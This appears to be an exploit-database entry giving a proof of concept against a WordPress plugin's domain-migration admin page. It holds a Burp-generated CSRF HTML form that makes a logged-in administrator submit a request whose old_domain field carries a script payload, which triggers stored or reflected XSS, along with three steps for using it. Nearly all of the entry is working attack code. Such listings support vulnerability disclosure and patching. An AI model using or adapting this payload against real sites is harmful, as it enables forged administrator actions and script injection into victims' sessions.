Share
## https://sploitus.com/exploit?id=WPEX-ID:1D4A2F0E-A371-4E27-98DE-528E070F41B0
1. Login as Admin.
2. Open the .html file in the same browser session.
```
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://172.28.128.6/wordpress/wp-admin/tools.php?page=hw_migration_simple" method="POST">
<input type="hidden" name="old_domain" value="<script>alert(document.domain)</script>" />
<input type="hidden" name="new_domain" value="http://qwer.com" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```
3. XSS will be triggered.